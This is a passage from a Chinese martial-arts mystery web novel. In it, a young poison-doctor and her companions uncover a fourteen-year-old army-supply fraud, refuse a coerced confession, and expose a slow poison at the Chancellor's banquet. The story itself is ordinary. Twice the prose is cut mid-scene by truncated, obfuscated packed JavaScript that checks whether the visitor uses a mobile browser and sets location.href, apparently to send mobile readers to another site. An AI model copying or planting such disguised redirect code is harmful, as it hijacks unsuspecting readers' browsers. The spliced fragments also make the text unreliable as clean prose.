姜亦又道:“他是我的暗兵首领,我真没想到你会跟他有渊源。” 姣姣没抬头,把包子塞进嘴里,嚼了两下,咽下去,然后笑着调侃:“我救的人,都这么有背景啊?” 姜亦没说话。 闻人奚郁在旁边笑了一声,把折扇打开,慢悠悠地摇着。 奕秋放下茶杯,看了一眼姣姣,什么都没说。 姣姣三口两口把包子吃完,站起来拍了拍手上的渣:“那还等什么?走呗。” * 城西,柳荫书院。 说是书院,其实就是一座老宅子,门前的石阶被岁月磨得光滑。 院子里种着几棵老槐树,这个时节叶子还没长全,枝丫光秃秃的,倒是墙角那丛竹子绿得发亮。 赵守成站在门口,一身玄色便服,但站姿还是军人的样子,背挺得笔直。 他看见四人走来,目光扫过姜亦,微微颔首,然后落在姣姣身上,难得露出一点笑意。 “来了。” 姣姣冲他挥手:“赵大哥,你又瘦了。” 赵守成笑着拍拍姣姣,侧身让开门口:“进去吧。人在里面。” 院子不大,三间正房,两边是厢房。 正房的门开着,里面坐着两个人。 一个穿着洗得发白的灰袍,头发花白,面容清瘦,但精神还好。 他坐在椅子上,膝盖上搭着一条薄毯。看见姣姣进来,他愣了一下。 另一个站在窗边,身量极高,虎背蜂腰,肩膀宽得把窗户都挡了大半。 他穿着一身半旧的玄色劲装,腰间悬着一柄长刀,面容刚毅。 他听见脚步声,转过身来,目光扫过门口的五个人,最后落在姜亦身上。 他单膝跪下去。 膝盖落地的声音很沉,但一句话都没说。 姜亦往前走了一步,伸手扶住他的肩膀。“李将军,起来。” 李渊抬起头。 那张刚毅的脸上没有激动,没有泪水,只有一种压了很久的东西。 他站起来,往后退了一步,站到陈夫子身边。 姣姣的目光在李渊身上转了一圈,又落在陈夫子身上。 陈夫子还看着她。 他看了很久,像是要把她看仔细。然后他笑了,那笑容很淡,但眼睛里有光。 “姑娘,”他开口,声音沙哑,“好久不见。” 姣姣咧嘴一笑:“陈夫子,您腿脚好了没?上次给您扎的针,管用吧?” 陈夫子低头看了看自己的腿,又抬头看她。“管用。”他说,“管用得很。老夫现在能走能跑,全托姑娘的福。” 姣姣摆摆手:“小事小事,您别客气。” 陈夫子看着她,沉默了一瞬,然后说:“对姑娘是小事,对老夫是救命之恩。” 姣姣眨眨眼,没接话。 姜亦站在一旁,看着这一幕。 他的手指无意识地碰了碰耳坠。 闻人奚郁站在他旁边,折扇摇得很慢。 奕秋站在最后面,目光在陈夫子和李渊身上各停了一瞬,然后收回,什么都没说。 赵守成把门关上。 屋子里暗了一些,只剩下窗缝里漏进来的光。 姜亦开口,声音不大,但很清晰。 “在座的诸位——”他顿了顿,目光扫过每一个人,“都知道我是谁。” 陈夫子点了点头。 李渊没有说话,但他的目光一直落在姜亦身上。 姜亦继续说:“这个案子,从一开始就不是普通的案子。那三具尸体,是李将军安排的。” 姣姣的眉毛挑了一下。 她没有说话,只是看着姜亦。 李渊开口了。 他的声音很低,很沉,像是从胸腔里震出来的。 “是末将安排的。” 李渊往前走了一步,站到屋子中间。他的背影把窗户的光挡了大半,屋子里更暗了。 “十四年前,羽林军出征。镇国将军领兵,走险路,全军覆没。” 他的声音没有起伏,但每一个字都像是咬着牙说出来的。 “朝廷说他是通敌卖国。说他是故意走那条路,害死三军。陈夫子被扣上贪污军饷的罪名,流放边疆。羽林军的番号被撤,活着的人全被贬为庶人。” 他顿了顿。 “但真相不是这样的。” “羽林军不是败在战术上,是败在装备上。” “冰心玉被换成了次品,战甲、兵器、粮草,全是次品。镇国将军走那条险路,不是因为他蠢,是因为那是唯一能赢的路。” “但他不知道,他的兵拿的是次品,穿的是次品,连箭矢都是次品。所以他输了。” 他说完,屋子里安静了很久。 姣姣没有看李渊。 她看着陈夫子。 陈夫子坐在椅子上,膝盖上搭着那条薄毯。他的脸上没有愤怒,没有悲伤,只有一种很深的疲惫。 “所以你们搞了三具尸体。” 姣姣开口,声音比平时轻了一些。 “伪造三大域的手法,把水搅浑,让人去查。” “然后查到长公主头上,再昭雪旧案?” 李渊看着她,沉默了一瞬,然后点头。“是。” 姣姣笑了。 “但是你们没想到,查案的人里多了两个。” 她指了指自己,又指了指奕秋。 李渊沉默了一会儿,然后说:“是。” “没想到。” 姣姣笑得更开了。 “那你们运气挺好的。”。 “要不是我家小姐的卦,你们那三具尸体,还不知道要等多久才有人发现。” 李渊没说话。 陈夫子开口了。 “姑娘,”他说,“老夫一直想问你,当年你为什么要救老夫?” 姣姣眨眨眼。 “顺手啊。” 陈夫子看着她,看了很久。 “顺手?” 他重复了一遍。 “对呀。”姣姣理所当然地说,“我路过,看见有人快死了,顺手救了。有什么问题吗?” 陈夫子沉默了一瞬,然后笑了。 那笑容比刚才深了一些。 “没有。”他说,“老夫只是觉得,这世上能顺手救人的人,不多了。” 姣姣摆摆手:“您别夸我,我经不起夸。” 闻人奚郁在旁边笑出声。 这是他进门之后第一次笑。 赵守成站在门口,一直没说话。 他听着屋里这些人说话,看着姜亦站在屋子中间,看着李渊站在窗边,看着陈夫子坐在椅子上。 他的脸上没什么表情,但他的手指一直在动,像是在握什么东西。 姜亦忽然开口。“赵将军,你说。” 赵守成抬起头。 他看着姜亦,沉默了一瞬,然后说:“长公主不是善类。她手里有三万兵马,有虎符将军万蛟,有周财,有相国。她不会坐以待毙。” 他顿了顿,声音沉下来。 “她知道你们在查。她知道你们拿到了文书。她什么都知道。她没动手,是因为她还没 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陈夫子从椅子上站起来。 他的腿确实好了, 站得很稳。他走到李渊身边,躬身行礼。 “草民陈谏,愿为陛下作证。” 赵守成上前一步,单膝跪地。 “臣赵守成,愿为陛下死战。” 姜亦站在那里,看着跪在面前的这三个人。 他的脸上没什么表情,但他的手指在发抖。 不是怕,是等了太久了。 闻人奚郁走到他身边,站定。 他没有跪,只是站在那里,像他一直以来做的那样。 “我帮你。” 声音很轻,但很稳。 奕秋没有说话。 她只是从椅子上站起来,走到姣姣身边。 姣姣还在剥花生,剥了一颗,塞进嘴里,然后站起来。 她看着姜亦,咧嘴一笑。 “姜大侠。” “我这个人,没什么本事。就是会看点病,看点毒,打打架,叫叫人。你要是不嫌弃——” 姣姣顿了顿,笑容更深了。 “算我一个。” 姜亦看着面前的这些人。 赵守成跪在最前面,背挺得笔直。 李渊跪在他身后,肩膀宽得像一座山。 陈夫子站在一旁,灰袍在风里轻轻晃动。 闻人奚郁站在他身边,折扇收在手里。 奕秋站在姣姣身边,白衣如雪。 姣姣站在最外面,手里还攥着一颗花生。 他忽然想起很多年前,他父亲还在的时候。 那时候他很小,什么都不懂。 他只知道他父亲是个很好的人,所有人都这么说。 后来他父亲死了,那些人就不说了。 再后来,那些人说他是“先主的儿子”,说他是“原终的希望”。 但他从来不知道“希望”是什么意思。 现在他知道了。 “好。”他说,声音很轻,但很稳。“我们一起。” 姣姣把花生塞进嘴里,嚼了嚼,含糊不清地说:“那先说好,打完架要请我吃饭。上次摘星楼那顿,闻人公子请的。这次该你了。” 姜亦看着她,嘴角微微扬起。“行。” 姣姣眼睛亮了。 “真的?那我可不客气了。” 闻人奚郁在旁边笑出声。“姣姣姑娘,”他说,“你这记性,怎么正事不记记吃的?” “正事也记。”姣姣理直气壮,“但吃的事更重要。” 陈夫子站在一旁,看着这一幕,忽然笑了。 那笑容很淡,但眼睛里有光。 他想起三年前,他躺在破庙里,浑身是伤,腿动不了,以为自己要死了。 然后有个穿红衣服的小姑娘推门进来,蹲在他面前,看了看他的腿,说:“哎呀,这腿再不治就废了。” 他问她是谁,她说:“路过的。” 然后就把他背起来,走了三十里路,找到一个村子,给他扎针、敷药、熬汤。 他问她叫什么,她说:“姣姣。” 他问她为什么要救他,她说:“顺手。” 他那时候不信。 现在他信了。 这个姑娘,就是会顺手救人的人。 18. 暗潮定策不惧毒 李渊站起来,走到窗边,推开窗户。 阳光照进来,落在他脸上。那张刚毅的脸在光里显得柔和了一些。 他看着窗外那丛绿竹,看了很久,然后说:“那三具尸体,是末将安排的。手法是末将让军中几个好手伪造的。玉屑是末将从军械库里拿的。一切都是末将做的。” 他顿了顿,转过身,看着姜亦。 “末将知道,这样做不对。那三个人,是无辜的。他们不该死。”他的声音有些哑,“但末将没有办法。末将等了十四年,等不到一个公道。末将只能用这种办法。” 姜亦看着他,沉默了很久。 “我知道。”他说,“那三个人的家人,我会安置。” 李渊的眼眶红了。 他没有哭,只是站在那里,像一座山。 陈夫子走过来,拍了拍他的肩膀。“李将军,”他说,“那三个人,不会白死。” 李渊没有说话。他只是点了点头。 姣姣忽然说:“那个……我有个问题。” 所有人看向她。 姣姣举着那颗花生,一脸无辜。“你们说那三具尸体是伪造的,那真正的凶手呢?冰心玉是谁换的?那些钱流到哪儿去了?长公主的人是谁?” 屋子里安静了一瞬。 姜亦开口:“周财。” 他的声音很冷。 “冰心玉是他换的。钱流进了长公主的私库。他在军械库干了十二年,换了十二年的冰心玉。每一笔,都记在那本文书里。” 姣姣“哦”了一声。“那周财呢?他跑了?” “没有。”闻人奚郁摇着折扇,笑眯眯地说,“他还在军械库里坐着,等我们去找他。” 姣姣眨眨眼:“他为什么不跑?” “因为他知道,跑了就是认罪。”闻人奚郁说,“不跑,还能说自己是冤枉的。” 姣姣笑了。“那咱们什么时候去找他?” 姜亦说:“不急。先解决长公主。” 姣姣想了想,点头。 “也是,擒贼先擒王。” 李渊看着她,目光里多了一丝什么。 他见过很多年轻人,但没见过这样的。 十五六岁,笑嘻嘻的,嘴里说着“顺手救人”,手里攥着花生,然后说“擒贼先擒王”。 他忽然觉得,这个姑娘,比他想的老练得多。 赵守成站在门口,忽然开口。 “按照陛下您的命令,长公主府和相国府一直派人盯着。” “长公主这几日没有异动,但相国府那边,昨晚有人进出。” 所有人的目光落在他身上。 赵守成继续说:“相国府昨夜来了几个人,都是生面孔。末将的人没敢靠太近,但看身形,像是练家子。” “但是相国对外的消息是,设宴款待四名侠士。” 闻人奚郁收起折扇,脸上的笑意淡了几分。“相国是长公主的人。他这个时候设宴,不是好事。” 姜亦点头。 “他会设局。” 姣姣歪头:“什么局?” 姜亦沉默了一瞬,然后说:“鸿门宴。” 姣姣眨眨眼,然后笑了。 “那咱们去不去?” “去。”姜亦说,“不去,她不知道我们知道。” 闻人奚郁在旁边点头。 “去了,才能看清长公主布了什么局。” 姣姣“哦”了一声,继续剥花生。 剥了一颗,塞进嘴里,嚼了嚼,忽然说:“那姜未玉会不会下毒?” 姜亦愣了一下。 闻人奚郁的折扇停了一瞬。 奕秋端着茶杯的手顿了顿。 所有人的目光都落在姣姣身上。 姣姣把花生壳扔在地上,拍了拍手,笑嘻嘻地说:“我就是随便问问。毕竟我是毒医嘛。” 李渊看着她,目光里多了一丝警惕。 他见过下毒的场面,知道那有多凶险。 如果长公主在宴席上下毒,他们这些人,可能连反抗的机会都没有。 陈夫子也看着她,但没有说话。 奕秋开口了。 她的声音很淡,像是在说一件无关紧要的事。 “她会的。” 所有人都看向奕秋。 奕秋端着茶杯,眼都没抬。 “毒,她会下。” “但不是烈性毒,是慢性毒。” “她要的,是让我们带着毒离开。” 姣姣“哦”了一声,若有所思地点点头。 “那没事。” “我能解。” 她说的很轻松,像是说“我能把这道菜做出来”一样。 李渊看着她,沉默了一瞬。“姑娘,”他说,“你知道长公主身边有多少毒师吗?” 姣姣眨眨眼。 “不知道。多吗?” “南水来的,至少三个。”李渊说,“都是五道以上的高手。” 姣姣“呵”了一声。 “那挺厉害呗。” 她说,然后又剥了一颗花生,塞进嘴里。 李渊看着她,欲言又止。 闻人奚郁在旁边轻笑。 “李将军,”他说,“你别看她这样。她一个人闯周府,毒瞎了周财的眼睛,还给他留了解药。周财是尊界一重,在她面前,没占到便宜。” 李渊愣住了。 他看向姣姣。 姣姣摆摆手:“哎呀,那是他大意了。尊界一重哪有那么好对付?我就是运气好。” 闻人奚郁笑着摇头,没再说话。 姜亦站在一旁,看着这一幕。 他的嘴角微微扬起,然后他开口:“那就这么定了。相国设宴,我们去。她下毒,姣姣解。她试探,我们接。她不动手,我们等她动手。” 他顿了顿,声音沉下来。 “她动手的那天,就是我们收网的时候。” 屋子里安静了一瞬。 然后李渊开口。 “末将听令。” 赵守成开口。 “臣听令。” 陈夫子躬身。 “草民听令。” 闻人奚郁摇着折扇,笑眯眯的。 奕秋端着茶杯,什么都没说。 姣姣把手里的花生壳扔在地上,站起来,拍了拍衣摆。“那现在干嘛?” 姜亦看着她。“回去睡觉。” 姣姣愣了一下。“睡觉?” “嗯。”姜亦说,“养足精神。明天,去赴宴。” 姣姣眨眨眼,然后笑了。 “行吧。”她伸了个懒腰,“那我回去睡了,你们慢慢聊。” 她转身往门口走。走了几步,忽然停下来,回头看着陈夫子。 “陈夫子,”她说,“您的腿,记得每天用热水泡。泡完揉一揉膝盖,揉到发热为止。不然以后还会疼。” 陈夫子愣了一下,然后笑了。 “姑娘还记着。” “那当然。”姣姣咧嘴一笑,“我治过的病人,我都记着。” “您这样的,我更忘不掉。” 她推开门,走了出去。 奕秋也跟着姣姣离开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437482|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阳光从门外照进来,把她的影子拉得很长。 她们走了,门在身后关上。 屋子里安静了一瞬。 李渊看着那扇关上的门,忽然说:“这个姑娘,不简单。” 闻人奚郁笑了。“你才发现?” 李渊看着他,没有说话。 闻人奚郁摇着折扇,慢悠悠地说:“她救过陈夫子,认识赵将军,一个人闯周府,毒瞎了周财的眼睛,还会南水的秘术。” “她说还她认识花归鸢。” 李渊沉默了一会儿。 闻人奚郁又开口。 “但她是好人。” 李渊看着他。“你怎么知道?” 闻人奚郁顿了顿,笑了笑。 “一个会怕疼、会担心被下毒、会顺手救人的人,不会是坏人。” 李渊没有说话。 他站在那里,看着那扇关上的门,看了很久。 陈夫子忽然开口。 “她是好人。” 他说,声音很轻,但很坚定。 “三年前,老夫躺在破庙里,以为自己要死了。她推门进来,蹲在老夫面前,带着我走了三十里。” “老夫问她为什么要救老夫,她说‘顺手’。” 他顿了顿,声音更轻了。 “这世上,没有那么多顺手的事。她只是不想让老夫觉得欠她的。” 屋子里安静了很久。 姜亦站在窗边,看着窗外那丛绿竹。 他的手指无意识地碰了碰耳坠。 他想起在马车里,姣姣说“我救了陈夫子”的时候,他以为她只是运气好。 现在他知道,那不是运气。 她这个人,就是这样的人。 他忽然笑了。 “走吧。”他说,“回去睡觉。” 他推开门,走了出去。 阳光落在他脸上,他眯起眼,看着远处的天边。 天已经亮了,云层被染成淡金色。 闻人奚郁跟在他身后,折扇摇得很慢。 赵守成站在门口,看着他们走远。 然后他转过身,看着屋里的两个人。 “李将军,”他说,“你也该休息了。” 李渊没有说话。 他只是站在那里,看着窗外。 陈夫子坐在椅子上,膝盖上搭着那条薄毯。他看着窗外的阳光,忽然说:“十四年了。” 他的声音很轻,轻得像是在说给自己听。 “终于等到这一天了。” 李渊的眼眶红了。 赵守成看着他,沉默了很久。 然后他走过去,拍了拍陈谏的肩膀。 “这一天,马上就会来了。” 阳光从窗户照进来,落在三个人身上。他们站在老宅子里,谁都没有说话。 但每个人的心里,都在想同一件事。 十四年了。 该还的,终究要还。 入夜。 姣姣躺在床上,望着帐顶。她睡不着。她在想今天的事。 陈夫子,李渊,赵守成,还有姜亦说的那句话——“她动手的那天,就是我们收网的时候。” 她翻了个身,面朝墙壁。 墙上什么都没有,但她看了很久。 然后她伸手,从枕头底下摸出那枚草戒指。 干枯的草茎,粗糙的编织,丑得很。她把它举到月光下,看了很久。 她轻声说:“我好像,又管了一件闲事。” 她笑了笑,把戒指塞回枕头底下,翻了个身,闭上眼睛。 19. 鸿门玉宴暗波涌 清晨,姣姣还在梦里啃鸡腿,楼下忽然传来一阵嘈杂。 姣姣翻了个身,把被子蒙过头顶。 “姣姣。” 奕秋的声音从门口传来。 “嗯——” “下来。” 姣姣睁开一只眼,看见奕秋站在门口,白衣已经穿戴整齐,腰间的无尘剑比平时挂得靠前了一些。 不是要打架的位置,但也不是喝茶的位置。 姣姣坐起来,头发乱成鸟窝。 “怎么了?” 奕秋没说话,只是侧了侧身,让她听楼下的声音。 姣姣听了三秒,翻身下床。 楼下大堂里,姜亦和闻人奚郁已经在了。 姜亦站在窗边,手指按在剑柄上,左耳的麒麟坠一动不动。 闻人奚郁坐在桌旁,折扇收在手里,面前的茶一口没动。 老板娘缩在柜台后面,脸色发白。 几个住店的客人躲在角落里,大气都不敢出。 大堂正中央站着一个人。 周财。 他穿着一件深灰色的家常袍子,头发束着,没有戴冠,也没有穿官服。 他一个人站在那里,背挺得很直,但那张脸比上次见面时老了十岁。 左边眉毛上的那道疤在晨光里显得格外清晰。 他身后没有管家,没有护卫,没有那个戴面具的人。 就他一个人。 姣姣从楼梯上下来的时候,周财的目光落在她身上,停了一瞬。 然后他移开视线,看着姜亦。 “周某是来认罪的。” 他开口,声音沙哑,像砂纸磨过铁器。 大堂里安静了一瞬。 姣姣的脚步停在楼梯口。 姜亦的表情没有变化,但他的手指在剑柄上收紧了一寸。 闻人奚郁的折扇停在手里,没有摇。 奕秋从姣姣身边走过,在桌边坐下。 周财从袖中取出一封书信,双手捧着,举过头顶。 “这是周某的认罪书。冰心玉,是周某换的。钱,是周某贪的。那三具尸体,也是周某派人杀的。” 姣姣的眉头皱起来了。 “三具尸体是你杀的?” 周财没有看她:“是。” “用什么杀的?” “剑。” “什么剑?” 周财沉默了一瞬。“寒江剑。” “寒江剑的剑格上镶的是什么?” 周财没有说话。 姣姣往前走了一步。“冰心玉。寒江剑的制式长剑,剑格处嵌冰心玉。你杀了三个人,每一剑都留下了玉屑。但冰心玉质坚韧,不易碎裂。除非——” 她停在他面前。 “除非那把剑的剑格本来就有裂痕,或者——你根本没用剑。” 周财抬起头,看着她。 他的眼睛里有很多东西,疲惫、绝望、恐惧,但不是被揭穿的恐惧。 姣姣忽然觉得不对。 这个人不是来认罪的。 他是来送死的。 姜亦开口了。 “周库吏,” 他的声音很冷。 “那三个人,不是你杀的。” 周财的身体僵了一瞬。 “是周某杀的。” 他说,声音比刚才更哑。 “剑痕上的冰霜只凝在表皮,内力没透进去。”姜亦往前走了一步,“寒江剑是原终制式法器,一剑封喉,冰封三尺。你那三剑,连皮毛都没伤到。你不是剑修,你根本不会用剑。” 周财没有说话。 闻人奚郁站起来,走到周财面前,低头看着他。“周库吏,你昨天还好好的,今天突然来认罪。谁让你来的?” 周财的嘴唇动了一下,什么都没说。 姣姣忽然说:“周不弃呢?” 周财的身体剧烈地抖了一下。 姣姣看见了。 她蹲下来,平视着周财的眼睛。 “周小公子昨天还好好的,今天怎么没跟你一起来?” 周财没有看她。 他的目光落在虚空中的某个点上,像是在看什么很远的东西。 “他很好。” 周财说,声音轻得像是在说给自己听。 姣姣盯着他看了很久,然后站起来,退后一步。 “你被人威胁了。” 不是疑问,是陈述。 周财没有说话。 姜亦看着周财,沉默了很久。然后他开口:“周库吏,你的认罪书,我不收。” 周财猛地抬头。 “你不收?” “不收。”姜亦说,“因为那三个人不是你杀的。冰心玉也不是你一个人换的。你背后有人。” 周财的脸色变了。 “没有别人。”周财的声音在发抖,“就是周某一个人。冰心玉是周某换的,钱是周某贪的,人也是周某杀的。没有别人。” 闻人奚郁摇着折扇,慢悠悠地说:“周库吏,你知道一个人在什么情况下才会把所有的罪都往自己身上揽吗?” 周财没有说话。 “两种情况。”闻人奚郁竖起两根手指,“第一种,他真的干了。第二种,他有把柄在别人手里。而且是比命还重要的把柄。” 周财的手开始发抖。 姣姣看着他,忽然觉得这个人很可怜。他不是好人,他换了十二年的冰心玉,害死了三万羽林军,害死了镇国将军,害死了无数人。但他现在站在这里,穿着家常袍子,一个人来认罪,不是为了自己,是为了他的儿子。 姣姣开口了,声音比平时轻了很多。“周库吏,那瓶解药,你用了吗?” 周财愣住了。 “用了。” 他本来就有眼疾,被姣姣毒瞎之后,用了她的解药。 眼睛复明了,眼疾也好了。 周财停顿了一会:“谢谢姑娘。” “回去告诉你背后那个人,”姣姣摆摆手说,“你的认罪书,我们不收。你的案子,还没查完。” 周财看着她,嘴唇在发抖。 他想说什么,但什么都没说出来。他站在那里,像一棵被风吹了很多年的树,终于撑不住了。 姜亦转身,走到窗边。 “周库吏,请回吧。” 周财站在原地,站了很久。 然后他把认罪书收起来,转身往外走。走到门口,他忽然停下来,没有回头。 说完,他推门出去。 门在身后关上。 大堂里安静了很久。 姣姣站在原地,看着那扇关上的门,忽然说:“他被人威胁了。拿周不弃的命。” 姜亦没说话。 闻人奚郁收起折扇,叹了口气。“长公主。只有她能逼周财做到这个地步。” 奕秋放下茶杯,忽然开口。 “周不弃没事。” 所有人的目光落在她身上。 姣姣长出了一口气。“那就好。” 姜亦站在窗边,看着周财的背影消失在街角。 他的手指按在剑柄上,按得很紧。 “她会付出代价的。” 声音很轻,但所有人都听见了。 * 三日后。 相国府的请帖送来的时候,姣姣正在啃桂花糕。 请帖是烫金的,字迹工整,措辞客气。 大意是:四位英雄破案有功,相国林庸备下薄酒,为诸位接风洗尘,还请赏光。 姣姣把请帖翻来覆去看了三遍,然后扔给姜亦。 “鸿门宴?” 姜亦接过请帖,看了一眼,放在桌上。 “鸿门宴。” 闻人奚郁摇着折扇,笑眯眯地说:“那咱们去不去?” “去。”姜亦说,“不去,她不知道我们知道。” 姣姣把最后一块桂花糕塞进嘴里,含糊不清地说:“那得穿好看点。打架可以输,排面不能输。” 姜亦看了她一眼,嘴角微微抽了一下。 闻人奚郁在旁边笑出声。 三日后,傍晚。 相国府门口停满了马车。 朱漆大门敞开着,门楣上挂着两盏大红灯笼,照得门前一片通红。台阶两侧站着两排家丁,衣着体面,腰杆笔直,一看就是练过的。 姣姣今天换了一身新衣裳。 还是红的,但比平时那件讲究得多——南水的云水缎,袖口绣着极细的金线暗纹,腰间挂了几个最要紧的香囊,银铃也戴上了,走动时叮当作响。 她难得把头发好好梳了一遍,用一根白玉簪别住,露出一张白净的脸。 姜亦看了她一眼,难得没有嘴欠。 闻人奚郁今天穿了件淡青色的长衫,发带也是同色的,衬得他整个人温润如玉。折扇换了一把新的,扇面上画着一幅山水,笔法清淡,和他这个人一样。 奕秋还是那身白衣,但换了一件新的,领口和袖口有极淡的银色纹路,不仔细看根本看不出来。 无尘剑挂在腰间,剑鞘上的纹路在灯光下若隐若现。 四个人站在相国府门前,谁都没说话。 姣姣深吸一口气,咧嘴一笑。 “走吧,进去吃饭。” 相国府比周府大得多。 穿过三进院子,绕过一座假山,才到正厅。 正厅里灯火通明,已经摆好了一桌酒席。八冷八热,一坛老酒,杯盘碗碟全是官窑的上品,在烛光下泛着温润的光。 左位上坐着一个人。 相国林庸。 他五十来岁,面白微须,穿着一身深紫色的官袍。 右边的主位上。 长公主姜未玉。 她今天穿了一件深红色的宫装,金线绣着凤凰,头戴赤金步摇,眉心一点花钿。 那张脸在烛光下美得惊人,眼尾微微上挑,带着与生俱来的贵气。 她端着酒杯,看见四人进来,嘴角微微扬起。 她右手边站着一个人。 是个年轻人,二十出头,身量颀长,面容俊秀,剑眉星目,嘴角噙着一丝淡淡的笑。 他一身南水装扮,腰间没有武器,最引人注意的是他的头发。 乌黑的长发编成一根麻花辫,松松地垂在肩侧,辫尾系着一根银色的发带。 那辫子编得极好,每一股都匀称,衬得他整个人又多了一层说不清的风流意味。 右座。 虎符将军万蛟。 他今天没穿甲胄,换了一身玄色劲装,但坐在那里还是军人的样子,背挺得笔直,目光如鹰。 奕秋看见他,眼睛暗了一瞬。 姣姣认识那个气息。 那个把她左肩胛骨打碎的王八蛋。 万蛟看见姜亦进来,目光在他身上停了一瞬,然后移开。 林庸站起来,笑着拱手。 “四位英雄,久仰久仰。本官备了薄酒,为诸位接风洗尘。请坐,请坐。” 四人入座。 姜未玉看着她,笑了。 “这位就是那位一个人闯周府的姑娘?” 姣姣眨眨眼。 “长公主认识我?” “听说过。”姜未玉端起酒杯,抿了一口,“十五六岁的近尊,南水毒医,身手了得。本宫想不认识都难。” 姣姣笑了。 “长公主过奖了,我就是个婢女,哪有您说的那么厉害。” 姜未玉看着她,眼底有什么东西在闪。不是打量,是——有意思。 酒过三巡,菜过五味。 林庸放下筷子,笑容不变。 “四位英雄,这次冰心玉案,多亏你们出手,才能这么快查明真相。本官已经将案卷整理好,上报朝廷。凶手周财也已认罪,不日便可结案。” 他说完,看着姜亦。 姜亦没说话。 他端着酒杯,看着杯中的酒,像是在想什么事。 闻人奚郁开口了。 他的声音很温和,像是在跟长辈聊天。“相国大人,周财的认罪书,我们看过了。” 林庸点头。 “周财已经供认不讳。冰心玉是他一个人换的,钱是他一个人贪的,那三具尸体也是他一个人杀的。人证物证俱全,可以结案了。” 闻人奚郁笑了。 “相国大人,周财一个库吏,换了十二年的冰心玉,换了三万多块,每一块都价值不菲。这些钱,都去了哪里?” 林庸的笑容没变。 “他说他赌输了。” “赌输了?”闻人奚郁的桃花眼弯着,“十二年,三万多块冰心玉,换成银子少说也有几百万两。原终皇城里,哪家赌坊能吃下这么多银子?” 林庸的笑容僵了一瞬。 闻人奚郁继续说:“还有,那三具尸体。周财一个库吏,不会用剑,不会用掌,不会用毒。他怎么伪造出三大域的手法?” 林庸没有说话。 姣姣忽然开口了。 她嘴里还嚼着一块红烧鱼,含糊不清地说:“相国大人,您这案子结得太快了。我们查了半个月,您三天就结案了?您比我们还厉害啊。” 林庸的笑容彻底僵住了。 姜未玉放下酒杯,笑了。 “小姑娘,说话挺有意思的。” 姣姣眨眨眼。 “我就是随便说说,长公主别见怪。” 姜未玉看着她,眼底的笑意深了一些。“本宫不见怪。本宫只是好奇,你们查了半个月,查到了什么?” 姣姣正要开口,姜亦看了她一眼。 姣姣闭嘴了。 闻人奚郁接话。 “查到了不少东西。”他摇着折扇,笑眯眯地说,“比如冰心玉的去向,比如那些钱流进了谁的私库,比如那三具尸体真正的死因。” 林庸的脸色变了。 姜未玉的笑容没变。 “哦?那你们打算怎么办?” 闻人奚郁收起折扇,看着姜未玉。 “查到底。” 厅内的气氛忽然变了。 不是那种剑拔弩张的变,是那种——所有人都知道要发生什么,但谁都不先动手的变。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437483|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 万蛟的手按上了腰间的刀柄。 姜亦的手指碰了碰耳坠。 奕秋端着茶杯,眼都没抬。 姣姣继续吃鱼。 林庸干笑一声。 “诸位英雄,案子的事不急,先喝酒,先喝酒。” 他端起酒杯,冲四人举了举。 姜亦端起酒杯,抿了一口。 闻人奚郁也端起来,笑眯眯地喝了一口。 奕秋没动。 姣姣也没动。 她放下筷子,看着姜未玉。“长公主,这酒,是南水来的吧?” 姜未玉挑眉。 “姑娘好眼力,这是南水进贡的——” “我不是说酒。”姣姣打断她,笑嘻嘻地说,“我是说酒里的东西。” 厅内安静了一瞬。 林庸的笑容彻底僵住了。 姜未玉放下酒杯,看着姣姣。 “姑娘,你这话什么意思?” 姣姣歪头。 “没什么意思。我就是觉得,这酒味道有点怪。”她端起自己的酒杯,闻了闻,然后放下。“好像是加了点东西。什么东西来着——” 她看着姜未玉,笑容更深了。 “三日散。” “慢性毒,三日后发作。中毒的人会慢慢失去内力,最后变成一个普通人。不会死,但比死还难受。” 厅内死寂。 万蛟的手已经握住了刀柄。 林庸的脸色惨白。 姜未玉看着姣姣,看了很久。 然后她笑了。 “姑娘好眼力。” 姣姣摆摆手。 “一般一般。我就是闻出来了,不是什么大事。” 姜未玉的笑意更深了。 “那姑娘能解吗?” 姣姣眨眨眼。 “能啊。” 她从腰间摸出一个小瓷瓶,拔开瓶塞,往自己酒杯里倒了一点粉末。粉末入酒即化,酒液变成淡淡的琥珀色。 她端起酒杯,一饮而尽。 “你看,”她把空杯子放下,冲姜未玉亮了亮杯底,“这不就解了。” 她站起来,走到姜亦面前,往他酒杯里也倒了一点粉末。 姜亦看了她一眼,端起酒杯,喝了。 她又走到闻人奚郁面前。 闻人奚郁笑着把酒杯递给她。 她走到奕秋面前。 奕秋没动,只是看了她一眼。 姣姣眨眨眼,把粉末倒进奕秋的茶杯里。 奕秋端起茶杯,喝了。 姣姣走回自己的位置,坐下,拍了拍手。“行了,都解了。” 林庸看着她,嘴唇在发抖。 姜未玉看着她,笑容没变,但眼底有什么东西变了。不是愤怒,不是惊讶,是——认真。 “姑娘好本事。”她说。 姣姣咧嘴一笑。 “长公主过奖。” 姜未玉放下酒杯,忽然开口。“本宫听说,姑娘是南水毒医?” 姣姣点头。 “算是吧。” “那正好。” 姜未玉笑了,指了指那个编麻花辫的年轻人。 “这位,释玺,南水来的高手。五道四重,毒术医术拳脚俱佳。本宫知道姑娘也是五道四重,同境界切磋,最是公平。” 她顿了顿,笑容更深。 “姑娘意下如何?” 姣姣看着释玺。 他站在长公主身侧,姿态放松,嘴角噙着一丝笑。 